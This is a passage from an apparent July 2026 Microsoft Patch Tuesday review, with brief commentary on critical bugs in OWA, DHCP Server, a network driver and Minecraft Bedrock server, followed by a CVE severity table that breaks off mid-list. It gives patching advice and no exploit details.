Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.
-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.
-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.
-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.
Here’s the full list of CVEs released by Microsoft for July 2026:





















  
  




  


  
    




















 
 
 
 
  CVE
  Title
  Severity
  CVSS
  Public
  Exploited
  Type
 
 
  CVE-2026-56155
  Active Directory
  Federation Services Elevation of Privilege Vulnerability
  Important
  7.8
  No
  Yes
  EoP
 
 
  CVE-2026-56164
  Microsoft SharePoint
  Server Elevation of Privilege Vulnerability
  Moderate
  5.3
  No
  Yes
  EoP
 
 
  CVE-2026-50661
  Windows BitLocker
  Security Feature Bypass Vulnerability
  Important
  6.1
  Yes
  No
  SFB
 
 
  CVE-2026-54121
  Active Directory
  Certificate Services Elevation of Privilege Vulnerability
  Critical
  8.8
  No
  No
  EoP
 
 
  CVE-2026-45499 **
  Azure OpenAI Elevation
  of Privilege Vulnerability
  Critical
  9.9
  No
  No
  EoP
 
 
  CVE-2026-48564
  DHCP Server Service
  Remote Code Execution Vulnerability
  Critical
  8.8
  No
  No
  RCE
 
 
  CVE-2026-50370
  DHCP Server Service
  Remote Code Execution Vulnerability
  Critical
  8.8
  No
  No
  RCE
 
 
  CVE-2026-56159
  DHCP Server Service
  Remote Code Execution Vulnerability
  Critical
  9.8
  No
  No
  RCE
 
 
  CVE-2026-50382
  DirectX Graphics
  Kernel Remote Code Execution Vulnerability
  Critical
  8.8
  No
  No
  RCE
 
 
  CVE-2026-41106 **
  Microsoft 365 Copilot
  Elevation of Privilege Vulnerability
  Critical
  9.3
  No
  No
  EoP
 
 
  CVE-2026-26145 **
  Microsoft Azure
  Synapse Elevation of Privilege Vulnerability
  Critical
  4.8
  No
  No
  EoP
 
 
  CVE-2026-48561
  Microsoft Copilot
  Remote Code Execution Vulnerability
  Critical
  9.6
  No
  No
  RCE
 
 
  CVE-2026-55011
  Microsoft Defender
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55012
  Microsoft Defender
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55944
  Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability
  Critical
  9.8
  No
  No
  RCE
 
 
  CVE-2026-57100 **
  Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability
  Critical
  9.9
  No
  No
  EoP
 
 
  CVE-2026-55041
  Microsoft Excel Remote
  Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-54998 **
  Microsoft Exchange
  Online Elevation of Privilege Vulnerability
  Critical
  8.8
  No
  No
  EoP
 
 
  CVE-2026-55008
  Microsoft Exchange
  Server Spoofing Vulnerability
  Critical
  9.6
  No
  No
  Spoofing
 
 
  CVE-2026-54992
  Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability
  Critical
  8.4
  No
  No
  RCE
 
 
  CVE-2026-50314
  Microsoft Office
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50467
  Microsoft Office
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55018
  Microsoft Office
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55022
  Microsoft Office
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55045
  Microsoft Office
  Remote Code Execution Vulnerability
  Critical
  8.4
  No
  No
  RCE
 
 
  CVE-2026-55049
  Microsoft Office
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55129
  Microsoft Office
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55056
  Microsoft Office
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55140
  Microsoft Office
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55043
  Microsoft PowerPoint
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55123
  Microsoft PowerPoint
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55120
  Microsoft PowerPoint
  Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50522
  Microsoft SharePoint
  Remote Code Execution Vulnerability
  Critical
  9.8
  No
  No
  RCE
 
 
  CVE-2026-58644
  Microsoft SharePoint
  Remote Code Execution Vulnerability
  Critical
  9.8
  No
  No
  RCE
 
 
  CVE-2026-55040
  Microsoft SharePoint
  Server Security Feature Bypass Vulnerability
  Critical
  9.1
  No
  No
  SFB
 
 
  CVE-2026-54117
  Microsoft SQL Server
  Remote Code Execution Vulnerability
  Critical
  8.8
  No
  No
  RCE
 
 
  CVE-2026-54118
  Microsoft SQL Server
  Remote Code Execution Vulnerability
  Critical
  8.8
  No
  No
  RCE
 
 
  CVE-2026-50655
  Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-56189
  Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-57090
  Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability
  Critical
  8.8
  No
  No
  RCE
 
 
  CVE-2026-57094
  Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability
  Critical
  8.8
  No
  No
  RCE
 
 
  CVE-2026-57087
  Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability
  Critical
  8.8
  No
  No
  RCE
 
 
  CVE-2026-57092
  Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability
  Critical
  9.9
  No
  No
  EoP
 
 
  CVE-2026-55033
  Microsoft Word Remote
  Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55127
  Microsoft Word Remote
  Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55132
  Microsoft Word Remote
  Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55010
  Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability
  Critical
  9.8
  No
  No
  RCE
 
 
  CVE-2026-50474
  Remote Desktop Client
  Remote Code Execution Vulnerability
  Critical
  8.8
  No
  No
  RCE
 
 
  CVE-2026-49164
  Windows Active
  Directory Domain Services Remote Code Execution Vulnerability
  Critical
  8.1
  No
  No
  RCE
 
 
  CVE-2026-54128
  Windows DHCP Client
  Remote Code Execution Vulnerability
  Critical
  8.4
  No
  No
  RCE
 
 
  CVE-2026-50518
  Windows DHCP Server
  Remote Code Execution Vulnerability
  Critical
  9.8
  No
  No
  RCE
 
 
  CVE-2026-49796
  Windows GDI+ Remote
  Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50380
  Windows GDI+ Remote
  Code Execution Vulnerability
  Critical
  9.6
  No
  No
  RCE
 
 
  CVE-2026-54127
  Windows Hyper-V
  Elevation of Privilege Vulnerability
  Critical
  7.4
  No
  No
  EoP
 
 
  CVE-2026-50680
  Windows Hyper-V
  Elevation of Privilege Vulnerability
  Critical
  8.2
  No
  No
  EoP
 
 
  CVE-2026-50327
  Windows Media Remote
  Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-58542
  Windows Media Remote
  Code Execution Vulnerability
  Critical
  7.8
  No
  No
  RCE
 
 
  CVE-2026-58608
  Windows Print Spooler
  Remote Code Execution Vulnerability
  Critical
  8.8
  No
  No
  RCE
 
 
  CVE-2026-54982
  Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability
  Critical
  8.8
  No
  No
  RCE
 
 
  CVE-2026-54995
  Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability
  Critical
  8.1
  No
  No
  RCE
 
 
  CVE-2026-42982
  Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability
  Critical
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50392
  Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability
  Critical
  7
  No
  No
  EoP
 
 
  CVE-2026-50694
  Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability
  Critical
  8.1
  No
  No
  RCE
 
 
  CVE-2026-56188
  Windows Server Network
  driver Remote Code Execution Vulnerability
  Critical
  9.8
  No
  No
  RCE
 
 
  CVE-2026-50444
  Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability
  Critical
  8.8
  No
  No
  EoP
 
 
  CVE-2026-54999
  Windows TCP/IP Remote
  Code Execution Vulnerability
  Critical
  8.8
  No
  No
  RCE
 
 
  CVE-2026-47302
  .NET Denial of Service
  Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50525
  .NET Denial of Service
  Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50651
  .NET Denial of Service
  Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-57108
  .NET Denial of Service
  Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50524
  .NET Framework Denial
  of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50527
  .NET Framework Denial
  of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50648
  .NET Framework Denial
  of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50650
  .NET Framework
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50646
  .NET Framework Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50649
  .NET Remote Code
  Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-47304
  .NET Security Feature
  Bypass Vulnerability
  Important
  8.1
  No
  No
  SFB
 
 
  CVE-2026-50528
  .NET Security Feature
  Bypass Vulnerability
  Important
  8.2
  No
  No
  SFB
 
 
  CVE-2026-50659
  .NET Spoofing
  Vulnerability
  Important
  6.5
  No
  No
  Spoofing
 
 
  CVE-2026-50526
  .NET Tampering
  Vulnerability
  Important
  7
  No
  No
  Tampering
 
 
  CVE-2026-50682
  Active Directory
  Denial of Service Vulnerability
  Important
  7.1
  No
  No
  DoS
 
 
  CVE-2026-55001
  Active Directory
  Domain Services Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50647
  Active Directory
  Federation Server Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50684
  Active Directory
  Federation Server Spoofing Vulnerability
  Important
  4.8
  No
  No
  Spoofing
 
 
  CVE-2026-56170
  ASP.NET Core Denial of
  Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-47300
  ASP.NET Core Elevation
  of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-47303
  ASP.NET Core Elevation
  of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-50652
  Azure Active Directory
  Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50653
  Azure Active Directory
  Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-57969
  Azure CycleCloud
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-58279
  Azure CycleCloud
  Elevation of Privilege Vulnerability
  Important
  6.5
  No
  No
  EoP
 
 
  CVE-2026-47632
  Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-50338
  Azure Spring Apps
  Elevation of Privilege Vulnerability
  Important
  8.2
  No
  No
  EoP
 
 
  CVE-2026-50488
  Clipboard User Service
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50491
  Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50381
  Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50427
  Content Delivery
  Manager Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50692
  Desktop Window Manager
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-58633
  Desktop Window Manager
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58634
  Desktop Window Manager
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50296
  DirectX Graphics
  Kernel Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50375
  DirectX Graphics
  Kernel Elevation of Privilege Vulnerability
  Important
  6.3
  No
  No
  EoP
 
 
  CVE-2026-50353
  DirectX Graphics
  Kernel Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50493
  DirectX Graphics
  Kernel Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-56643
  DirectX Graphics
  Kernel Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-56644
  DirectX Graphics
  Kernel Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58629
  DirectX Graphics
  Kernel Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-49174
  DNS Client Tampering
  Vulnerability
  Important
  6.1
  No
  No
  Tampering
 
 
  CVE-2026-50495
  DNS Client Tampering
  Vulnerability
  Important
  6.1
  No
  No
  Tampering
 
 
  CVE-2026-57088
  Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50663
  Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability
  Important
  8.8
  No
  No
  RCE
 
 
  CVE-2026-47282
  GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-41109
  GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability
  Important
  8.8
  No
  No
  SFB
 
 
  CVE-2026-50510
  GitHub Copilot Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-49787
  HTTP.sys Denial of
  Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50420
  HTTP.sys Information
  Disclosure Vulnerability
  Important
  6.2
  No
  No
  Info
 
 
  CVE-2026-49788
  HTTP/2 Denial of
  Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50696
  Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-58617
  M365 Copilot for iOS
  Elevation of Privilege Vulnerability
  Important
  8.1
  No
  No
  EoP
 
 
  CVE-2026-58595
  Microsoft Bing App for
  IOS Spoofing Vulnerability
  Important
  8.1
  No
  No
  Spoofing
 
 
  CVE-2026-49162
  Microsoft Brokering
  File System Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50305
  Microsoft Brokering
  File System Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50361
  Microsoft Brokering
  File System Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50466
  Microsoft Brokering
  File System Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50458
  Microsoft Brokering
  File System Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50658
  Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-56178
  Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability
  Important
  5.5
  No
  No
  EoP
 
 
  CVE-2026-50657
  Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability
  Important
  4.7
  No
  No
  Info
 
 
  CVE-2026-50329
  Microsoft DWM Core
  Library Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58541
  Microsoft DWM Core
  Library Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58596
  Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability
  Important
  8.3
  No
  No
  EoP
 
 
  CVE-2026-57991
  Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability
  Important
  7.4
  No
  No
  Info
 
 
  CVE-2026-58291
  Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability
  Important
  6.1
  No
  No
  Info
 
 
  CVE-2026-57981
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  8.8
  No
  No
  RCE
 
 
  CVE-2026-57984
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  7.5
  No
  No
  RCE
 
 
  CVE-2026-57985
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  7.6
  No
  No
  RCE
 
 
  CVE-2026-57986
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  7.5
  No
  No
  RCE
 
 
  CVE-2026-57988
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  7.1
  No
  No
  RCE
 
 
  CVE-2026-57992
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  7.5
  No
  No
  RCE
 
 
  CVE-2026-58276
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  7.5
  No
  No
  RCE
 
 
  CVE-2026-56645
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  8.8
  No
  No
  RCE
 
 
  CVE-2026-57974
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  8.8
  No
  No
  RCE
 
 
  CVE-2026-57975
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  7.5
  No
  No
  RCE
 
 
  CVE-2026-58281
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  8.3
  No
  No
  RCE
 
 
  CVE-2026-58284
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  8.3
  No
  No
  RCE
 
 
  CVE-2026-58285
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  8.3
  No
  No
  RCE
 
 
  CVE-2026-58287
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  8.3
  No
  No
  RCE
 
 
  CVE-2026-58288
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  8.3
  No
  No
  RCE
 
 
  CVE-2026-58289
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  9
  No
  No
  RCE
 
 
  CVE-2026-58290
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  7.5
  No
  No
  RCE
 
 
  CVE-2026-58292
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  7.5
  No
  No
  RCE
 
 
  CVE-2026-58293
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  8.1
  No
  No
  RCE
 
 
  CVE-2026-58294
  Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability
  Important
  7.5
  No
  No
  RCE
 
 
  CVE-2026-57983
  Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability
  Important
  8.7
  No
  No
  SFB
 
 
  CVE-2026-58295
  Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability
  Important
  8.3
  No
  No
  SFB
 
 
  CVE-2026-58525
  Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability
  Important
  8.2
  No
  No
  SFB
 
 
  CVE-2026-57987
  Microsoft Edge
  (Chromium-based) Spoofing Vulnerability
  Important
  6.5
  No
  No
  Spoofing
 
 
  CVE-2026-58278
  Microsoft Edge
  (Chromium-based) Spoofing Vulnerability
  Important
  5.4
  No
  No
  Spoofing
 
 
  CVE-2026-56646
  Microsoft Edge
  (Chromium-based) Spoofing Vulnerability
  Important
  6.5
  No
  No
  Spoofing
 
 
  CVE-2026-57977
  Microsoft Edge
  (Chromium-based) Spoofing Vulnerability
  Important
  7.1
  No
  No
  Spoofing
 
 
  CVE-2026-57993
  Microsoft Edge
  (Chromium-based) Spoofing Vulnerability
  Important
  7.4
  No
  No
  Spoofing
 
 
  CVE-2026-58282
  Microsoft Edge
  (Chromium-based) Spoofing Vulnerability
  Important
  8.1
  No
  No
  Spoofing
 
 
  CVE-2026-58283
  Microsoft Edge
  (Chromium-based) Spoofing Vulnerability
  Important
  8.1
  No
  No
  Spoofing
 
 
  CVE-2026-58286
  Microsoft Edge
  (Chromium-based) Spoofing Vulnerability
  Important
  8.1
  No
  No
  Spoofing
 
 
  CVE-2026-58298
  Microsoft Edge
  (Chromium-based) Spoofing Vulnerability
  Important
  7.2
  No
  No
  Spoofing
 
 
  CVE-2026-58524
  Microsoft Edge
  (Chromium-based) Spoofing Vulnerability
  Important
  5.4
  No
  No
  Spoofing
 
 
  CVE-2026-58296
  Microsoft Edge for
  Android Information Disclosure Vulnerability
  Important
  7.1
  No
  No
  Info
 
 
  CVE-2026-58297
  Microsoft Edge for
  Android Information Disclosure Vulnerability
  Important
  7.1
  No
  No
  Info
 
 
  CVE-2026-58300
  Microsoft Edge for
  Android Information Disclosure Vulnerability
  Important
  6.2
  No
  No
  Info
 
 
  CVE-2026-58522
  Microsoft Edge for
  Android Information Disclosure Vulnerability
  Important
  6.8
  No
  No
  Info
 
 
  CVE-2026-58299
  Microsoft Edge for
  Android Remote Code Execution Vulnerability
  Important
  7.5
  No
  No
  RCE
 
 
  CVE-2026-58523
  Microsoft Edge for
  Android Security Feature Bypass Vulnerability
  Important
  6.5
  No
  No
  SFB
 
 
  CVE-2026-50678
  Microsoft Excel
  Information Disclosure Vulnerability
  Important
  6.6
  No
  No
  Info
 
 
  CVE-2026-54988
  Microsoft Excel
  Information Disclosure Vulnerability
  Important
  6.1
  No
  No
  Info
 
 
  CVE-2026-48580
  Microsoft Excel
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50408
  Microsoft Excel
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55046
  Microsoft Excel
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55138
  Microsoft Excel
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55054
  Microsoft Excel
  Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-55122
  Microsoft Excel
  Information Disclosure Vulnerability
  Important
  7.1
  No
  No
  Info
 
 
  CVE-2026-55898
  Microsoft Excel
  Information Disclosure Vulnerability
  Important
  6.1
  No
  No
  Info
 
 
  CVE-2026-50675
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55899
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55948
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-58618
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-47642
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55024
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55025
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55031
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55048
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55029
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55039
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55136
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55141
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55036
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55044
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55037
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55058
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55137
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55053
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55131
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-54131
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55947
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55949
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-56156
  Microsoft Excel Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55006
  Microsoft Exchange
  Server Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-55009
  Microsoft Exchange
  Server Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-55005
  Microsoft Exchange
  Server Remote Code Execution Vulnerability
  Important
  8.8
  No
  No
  RCE
 
 
  CVE-2026-56642
  Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability
  Important
  8.8
  No
  No
  RCE
 
 
  CVE-2026-50343
  Microsoft Install
  Service Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50439
  Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability
  Important
  8.1
  No
  No
  RCE
 
 
  CVE-2026-58537
  Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-56193
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  7.1
  No
  No
  Info
 
 
  CVE-2026-55023
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55026
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  6.2
  No
  No
  Info
 
 
  CVE-2026-55027
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55028
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55047
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55035
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55057
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55121
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55042
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55139
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  5.5
